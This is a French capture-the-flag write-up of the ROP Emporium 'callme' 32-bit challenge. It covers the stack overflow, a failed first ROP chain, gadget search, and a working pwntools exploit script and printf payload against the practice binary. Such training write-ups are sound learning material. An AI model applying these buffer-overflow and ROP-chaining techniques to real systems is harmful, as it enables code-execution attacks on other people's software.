Ropemporium x86_32 callme
callme x86_32
Introduction
Cette fois ci on doit appeller trois fonctions succesivement avec des parametres attendus. En x86 32 bits, les paramètres étant passé sur la pile la construction de la Ropchaine est différente qu’en 64 bits
Découverte
Execution
ropemporium/x32/callme$ ./callme32
callme by ROP Emporium
x86
Hope you read the instructions...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Exiting
Analyse
### La fonction vulnérable
gef➤ disas pwnme
Dump of assembler code for function pwnme:
0x080486ed <+0>: push ebp
0x080486ee <+1>: mov ebp,esp
0x080486f0 <+3>: sub esp,0x28
0x080486f3 <+6>: sub esp,0x4
0x080486f6 <+9>: push 0x20
0x080486f8 <+11>: push 0x0
0x080486fa <+13>: lea eax,[ebp-0x28]
0x080486fd <+16>: push eax
0x080486fe <+17>: call 0x8048540 <memset@plt>
0x08048703 <+22>: add esp,0x10
0x08048706 <+25>: sub esp,0xc
0x08048709 <+28>: push 0x8048848
0x0804870e <+33>: call 0x8048500 <puts@plt>
0x08048713 <+38>: add esp,0x10
0x08048716 <+41>: sub esp,0xc
0x08048719 <+44>: push 0x804886b
0x0804871e <+49>: call 0x80484d0 <printf@plt>
0x08048723 <+54>: add esp,0x10
0x08048726 <+57>: sub esp,0x4
0x08048729 <+60>: push 0x200
0x0804872e <+65>: lea eax,[ebp-0x28]
0x08048731 <+68>: push eax
0x08048732 <+69>: push 0x0
0x08048734 <+71>: call 0x80484c0 <read@plt>
0x08048739 <+76>: add esp,0x10
0x0804873c <+79>: sub esp,0xc
0x0804873f <+82>: push 0x804886e
0x08048744 <+87>: call 0x8048500 <puts@plt>
0x08048749 <+92>: add esp,0x10
0x0804874c <+95>: nop
0x0804874d <+96>: leave
0x0804874e <+97>: ret
End of assembler dump.
L’appel à la fonction read :
0x08048729 <+60>: push 0x200
0x0804872e <+65>: lea eax,[ebp-0x28]
0x08048731 <+68>: push eax
0x08048732 <+69>: push 0x0
0x08048734 <+71>: call 0x80484c0 <read@plt>
Le débordement se fait à partir de 0x28 + 4 = 0x2c (44) octets Le buffer est d’une taille importante : 0x200 (512) octets.
L’objectif nous est suggéré par la fonction
gef➤ disas usefulFunction
Dump of assembler code for function usefulFunction:
0x0804874f <+0>: push ebp
0x08048750 <+1>: mov ebp,esp
0x08048752 <+3>: sub esp,0x8
0x08048755 <+6>: sub esp,0x4
0x08048758 <+9>: push 0x6
0x0804875a <+11>: push 0x5
0x0804875c <+13>: push 0x4
0x0804875e <+15>: call 0x80484e0 <callme_three@plt>
0x08048763 <+20>: add esp,0x10
0x08048766 <+23>: sub esp,0x4
0x08048769 <+26>: push 0x6
0x0804876b <+28>: push 0x5
0x0804876d <+30>: push 0x4
0x0804876f <+32>: call 0x8048550 <callme_two@plt>
0x08048774 <+37>: add esp,0x10
0x08048777 <+40>: sub esp,0x4
0x0804877a <+43>: push 0x6
0x0804877c <+45>: push 0x5
0x0804877e <+47>: push 0x4
0x08048780 <+49>: call 0x80484f0 <callme_one@plt>
0x08048785 <+54>: add esp,0x10
0x08048788 <+57>: sub esp,0xc
0x0804878b <+60>: push 0x1
0x0804878d <+62>: call 0x8048510 <exit@plt>
End of assembler dump.
On peut essayer d’appeller cette fonction
printf "%44s\x4f\x87\x04\x08\x00" A|./callme32
callme by ROP Emporium
x86
Hope you read the instructions...
> Thank you!
Incorrect parameters
L’énnoncé nous indique que l’objectif est d’appeller successivement les trois fonctions avec des paramètres attendus.
“You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag.”
Construction de la chaine de ROP
Introduction
Pour réaliser l’appel d’une fonction x86 32 bits le passage des paramètres se fait simplement sur la pile
Les trois arguments sont donc attendus sur la pile par chaque appel de fonction.
Ce qui permet d’envisager d’appeller
ROP entry | comment |
---|---|
0x80484f0 | callme_one@plt |
0xdeadbeef | param1 |
0xcafebabe | param2 |
0xd00df00d | param3 |
0x0804876f | callme_two@plt |
0xdeadbeef | param1 |
0xcafebabe | param2 |
0xd00df00d | param3 |
0x0804875e | callme_three@plt |
0xdeadbeef | param1 |
0xcafebabe | param2 |
0xd00df00d | param3 |
Il y a cependant quelques petites nuances.
- lorsqu’on execute ue fonction en sautant directement à son adresse, l’adresse de retour n’est pas empilée comme c’est le cas avec un call.
- la fonction va utiliser les trois paramètres mais quid de l’enchainement sur l’appel de fonction suivant ?
Le paragraphe suivant essaie de décrire la solution en passant par l’experience de l’appriche naive. Il peut être sauté par le lecteur impatient.
Première tentative
Observons ce qui se passe avec notre première ropchaine et les script python suivant.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# break apres le read dans pwnme
gs='''
b *pwnme+97
c
'''
# Set up pwntools for the correct architecture
elf = ELF('callme32')
context.binary=elf
# Offset avant ecrasement de l'adresse de retour
offset=0x2c
callme_one=elf.plt['callme_one']
callme_two=elf.plt['callme_two']
callme_three=elf.plt['callme_three']
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
log.info(f"{callme_one=:x}")
log.info(f"{callme_two=:x}")
log.info(f"{callme_three=:x}")
# io.recvuntil(b"> ")
PL =b"A"*offset
PL+=p32(callme_one)
PL+=p32(0xdeadbeef)
PL+=p32(0xcafebabe)
PL+=p32(0xd00df00d)
PL+=p32(callme_two)
PL+=p32(0xdeadbeef)
PL+=p32(0xcafebabe)
PL+=p32(0xd00df00d)
PL+=p32(callme_three)
PL+=p32(0xdeadbeef)
PL+=p32(0xcafebabe)
PL+=p32(0xd00df00d)
# Affichage pour mise au point avec printf.
print(''.join([ f"\\x{c:02x}" for c in PL]))
io.sendline(PL)
io.interactive()
Execution :
python3 essai1.py -d
[*] '/home/jce/w/ropemporium/x32/callme/callme32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: b'.'
[+] Starting local process '/home/jce/w/ropemporium/x32/callme/callme32': pid 6132
[*] callme_one=80484f0
[*] callme_two=8048550
[*] callme_three=80484e0
printf %44s\xf0\x84\x04\x08\xef\xbe\xad\xde\xbe\xba\xfe\xca\x0d\xf0\x0d\xd0\x50\x85\x04\x08\xef\xbe\xad\xde\xbe\xba\xfe\xca\x0d\xf0\x0d\xd0\xe0\x84\x04\x08\xef\xbe\xad\xde\xbe\xba\xfe\xca\x0d\xf0\x0d\xd0 A
[*] Switching to interactive mode
[*] Process '/home/jce/w/ropemporium/x32/callme/callme32' stopped with exit code 1 (pid 6132)
callme by ROP Emporium
x86
Hope you read the instructions...
> Thank you!
Incorrect parameters
[*] Got EOF while reading in interactive
Voilà qui est décevant
Observons ce qui se passe.
Avec un point d’arrêt en pwnme+97 sur le ret La pile :
─────────────────────────────────────────────────────────────── stack ────
0xffd58b8c│+0x0000: 0x80484f0 → <callme_one@plt+0> jmp DWORD PTR ds:0x804a018 ← $esp
0xffd58b90│+0x0004: 0xdeadbeef
0xffd58b94│+0x0008: 0xcafebabe
0xffd58b98│+0x000c: 0xd00df00d
0xffd58b9c│+0x0010: 0x8048550 → <callme_two@plt+0> jmp DWORD PTR ds:0x804a030
0xffd58ba0│+0x0014: 0xdeadbeef
0xffd58ba4│+0x0018: 0xcafebabe
0xffd58ba8│+0x001c: 0xd00df00d
─────────────────────────────────────────────────────────── code:x86:32 ────
0x8048749 <pwnme+92> add esp, 0x10
0x804874c <pwnme+95> nop
0x804874d <pwnme+96> leave
→ 0x804874e <pwnme+97> ret
↳ 0x80484f0 <callme_one@plt+0> jmp DWORD PTR ds:0x804a018
0x80484f6 <callme_one@plt+6> push 0x18
0x80484fb <callme_one@plt+11> jmp 0x80484b0
0x8048500 <puts@plt+0> jmp DWORD PTR ds:0x804a01c
0x8048506 <puts@plt+6> push 0x20
0x804850b <puts@plt+11> jmp 0x80484b0
On avance jusqu’à l’entréee de callme_one :
ni 17
Il faut 17 instructions pour passer le déroulement de la résolution d’adresse via la PLT car c’est le premier appel de cette fonction.
─────────────────────────────────────────────────────────────── stack ────
0xffa3fb30│+0x0000: 0xdeadbeef ← $esp
0xffa3fb34│+0x0004: 0xcafebabe
0xffa3fb38│+0x0008: 0xd00df00d
0xffa3fb3c│+0x000c: 0x8048550 → <callme_two@plt+0> jmp DWORD PTR ds:0x804a030
0xffa3fb40│+0x0010: 0xdeadbeef
0xffa3fb44│+0x0014: 0xcafebabe
0xffa3fb48│+0x0018: 0xd00df00d
0xffa3fb4c│+0x001c: 0x80484e0 → <callme_three@plt+0> jmp DWORD PTR ds:0x804a014
─────────────────────────────────────────────────────────── code:x86:32 ────
→ 0xf7fc663d <callme_one+0> push ebp
0xf7fc663e <callme_one+1> mov ebp, esp
0xf7fc6640 <callme_one+3> push ebx
0xf7fc6641 <callme_one+4> sub esp, 0x14
0xf7fc6644 <callme_one+7> call 0xf7fc6540 <__x86.get_pc_thunk.bx>
0xf7fc6649 <callme_one+12> add ebx, 0x19b7
ESP pointe sur le premier paramètre.
Normalement lors d’un appel de fonction la pile est dans cette situation
exemple sur un appel de callme_on(3,4,5) par usefullFunction:
0xffffd310│+0x0000: 0x8048763 → <usefulFunction+20> add esp, 0x10 ← $esp
0xffffd314│+0x0004: 0x00000004
0xffffd318│+0x0008: 0x00000005
0xffffd31c│+0x000c: 0x00000006
ESP pointe sur l’adresse de retour, ensuite on trouve les 3 arguments.
Lors d’un rop on saute directement sur l’adresse de la fonction sans empiler EIP comme le ferait un call. On a donc un décalage d’un mot.
Regardons le début du code de la fonction :
gef➤ x/8i $eip
=> 0xf7fc663e <callme_one+1>: mov ebp,esp
0xf7fc6640 <callme_one+3>: push ebx
0xf7fc6641 <callme_one+4>: sub esp,0x14
0xf7fc6644 <callme_one+7>: call 0xf7fc6540 <__x86.get_pc_thunk.bx>
0xf7fc6649 <callme_one+12>: add ebx,0x19b7
0xf7fc664f <callme_one+18>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0xf7fc6656 <callme_one+25>: jne 0xf7fc6733 <callme_one+246>
0xf7fc665c <callme_one+31>: cmp DWORD PTR [ebp+0xc],0xcafebabe
La fonction va comparer ebp+8 avec la valeur attendue pour le premier pramètre : 0xdeadbeef
Préalablement ebp
est affecté à la valeur initial de esp
pour conserver la localiation de la pile précédente.
Avançons jusqu’à la comparaison.
0xffa3fb14│+0x0000: 0x41414141 ← $esp
0xffa3fb18│+0x0004: 0xf7fe78f0 → pop edx
0xffa3fb1c│+0x0008: 0xffffffff
0xffa3fb20│+0x000c: 0xf7fc663d → <callme_one+0> push ebp
0xffa3fb24│+0x0010: 0x00000b
0xffa3fb28│+0x0014: 0x00000000
0xffa3fb2c│+0x0018: 0x41414141 ← $ebp
0xffa3fb30│+0x001c: 0xdeadbeef
───────────────────────────────────────────────────────────── code:x86:32 ────
0xf7fc6641 <callme_one+4> sub esp, 0x14
0xf7fc6644 <callme_one+7> call 0xf7fc6540 <__x86.get_pc_thunk.bx>
0xf7fc6649 <callme_one+12> add ebx, 0x19b7
→ 0xf7fc664f <callme_one+18> cmp DWORD PTR [ebp+0x8], 0xdeadbeef
0xf7fc6656 <callme_one+25> jne 0xf7fc6733 <callme_one+246>
0xf7fc665c <callme_one+31> cmp DWORD PTR [ebp+0xc], 0xcafebabe
0xf7fc6663 <callme_one+38> jne 0xf7fc6733 <callme_one+246>
0xf7fc6669 <callme_one+44> cmp DWORD PTR [ebp+0x10], 0xd00df00d
0xf7fc6670 <callme_one+51> jne 0xf7fc6733 <callme_one+246>
On voit que est en ebp+4 et
x/1x $ebp+8
0xffa3fb34: 0xcafebabe
La valeur est comparée avec le second paramètre.
Il nous faut donc placer une adresse de retour
Envisagons de mettre callme_two a cette adresse pour continuer le traiement attendu.
ROP entry | comment |
---|---|
0x80484f0 | callme_one@plt |
0x0804876f | callme_two@plt |
0xdeadbeef | param1 |
0xcafebabe | param2 |
0xd00df00d | param3 |
??? |
On va probablement executer correctement callme_one puis sauter sur callme_two mais rencontrer le même problème que précédement. On ne peut pas rejouter callme_three qui serait pris comme premier paramètre par callme_one
essai :
callme by ROP Emporium
x86
Hope you read the instructions...
> Thank you!
callme_one() called correctly
Incorrect parameters
[*] Got EOF while reading in interactive
On a bien passé callme_on mais c’est tout.
La solution consiste à place dans l’adresse de retour l’adresse d’un gadget qui effectuer sur la pile l’équivalent de ce que l’appel normal de la fonction ferait : consommer les trois paramètres.
Concrètement cela corespond à incrémenter l’adresse de la pile de 12 octets , effectuer 3 pop, ou encore trouver un “ret 0xc”
- mov $esp, 12
- pop reg; pop reg; pop reg; ret
- ret 12
Recherche de gadget
La solution consiste à placer dans l’adresse de retour, après l’adresse de la fonctionn appellée, l’adresse d’un gadget qui effectuer sur la pile l’équivalent de ce que l’appel normal de la fonction ferait : consommer les trois paramètres.
Concrètement cela corespond à incrémenter l’adresse de la pile de 12 octets , effectuer 3 pop, ou encore trouver un “ret 0xc”
-
mov $esp, 12
-
pop reg; pop reg; pop reg; ret
-
ret 12
root@zbook310152:/w/ropemporium/x32/callme# ROPgadget –binary callme32 –depth 5|grep “add esp” 0x080485f2 : add esp, 0x10 ; leave ; ret 0x080484aa : add esp, 8 ; pop ebx ; ret
root@zbook310152:/w/ropemporium/x32/callme# ROPgadget –binary callme32 |grep “ret " 0x0804861e : ret 0xeac1
ropemporium/x32/callme# ROPgadget –binary callme32 –depth 5|grep “pop” 0x080484aa : add esp, 8 ; pop ebx ; ret 0x080484ab : les ecx, ptr [eax] ; pop ebx ; ret 0x08048681 : mov ebp, esp ; pop ebp ; jmp 0x8048610 0x08048683 : pop ebp ; jmp 0x8048610 0x080487fb : pop ebp ; ret 0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080484ad : pop ebx ; ret 0x080487fa : pop edi ; pop ebp ; ret 0x080487f9 : pop esi ; pop edi ; pop ebp ; ret 0x080486ea : popal ; cld ; ret 0x08048680 : push ebp ; mov ebp, esp ; pop ebp ; jmp 0x8048610
On peut retenir le gadget : 0x080484aa : add esp, 8 ; pop ebx ; ret ou 0x080487f9 : pop esi ; pop edi ; pop ebp ; ret
Le ropchaine au final :
ROP entry | comment |
---|---|
0x80484f0 | callme_one@plt |
0x080484aa | pop3ret |
0xdeadbeef | param1 |
0xcafebabe | param2 |
0xd00df00d | param3 |
0x0804876f | callme_two@plt |
0x080484aa | pop3ret |
0xdeadbeef | param1 |
0xcafebabe | param2 |
0xd00df00d | param3 |
0x0804875e | callme_three@plt |
0x080484aa | pop3ret |
0xdeadbeef | param1 |
0xcafebabe | param2 |
0xd00df00d | param3 |
Exploitation
Script python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# break apres le read dans pwnme
gs='''
b *pwnme+97
c
'''
# Set up pwntools for the correct architecture
elf = ELF('callme32')
context.binary=elf
# Offset avant ecrasement de l'adresse de retour
offset=0x2c
callme_one=elf.plt['callme_one']
callme_two=elf.plt['callme_two']
callme_three=elf.plt['callme_three']
# Au choix
# 0x080484aa : add esp, 8 ; pop ebx ; ret
g_pop3ret=0x080484aa
# 0x080487f9 : pop esi ; pop edi ; pop ebp ; ret
#g_pop3ret=0x080487f9
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
log.info(f"{callme_one=:x}")
log.info(f"{callme_two=:x}")
log.info(f"{callme_three=:x}")
# io.recvuntil(b"> ")
PL =b"A"*offset
PL+=p32(callme_one)
PL+=p32(g_pop3ret)
PL+=p32(0xdeadbeef)
PL+=p32(0xcafebabe)
PL+=p32(0xd00df00d)
PL+=p32(callme_two)
PL+=p32(g_pop3ret)
PL+=p32(0xdeadbeef)
PL+=p32(0xcafebabe)
PL+=p32(0xd00df00d)
PL+=p32(callme_three)
PL+=p32(g_pop3ret)
PL+=p32(0xdeadbeef)
PL+=p32(0xcafebabe)
PL+=p32(0xd00df00d)
io.sendline(PL)
io.interactive()
Execution
ropemporium/x32/callme# python3 solve.py
[*] '/w/ropemporium/x32/callme/callme32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: b'.'
[+] Starting local process '/w/ropemporium/x32/callme/callme32': pid 126
[*] callme_one=80484f0
[*] callme_two=8048550
[*] callme_three=80484e0
[*] Switching to interactive mode
[*] Process '/w/ropemporium/x32/callme/callme32' stopped with exit code 0 (pid 126)
callme by ROP Emporium
x86
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
Ou en shell :
opemporium/x32/callme# printf "%44s\xf0\x84\x04\x08\xaa\x84\x04\x08\xef\xbe\xad\xde\xbe\xba\xfe\xca\x0d\xf0\x0d\xd0\x50\x85\x04\x08\xaa\x84\x04\x08\xef\xbe\xad\xde\xbe\xba\xfe\xca\x0d\xf0\x0d\xd0\xe0\x84\x04\x08\xaa\x84\x04\x08\xef\xbe\xad\xde\xbe\xba\xfe\xca\x0d\xf0\x0d\xd0" A|./callme32
callme by ROP Emporium
x86
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}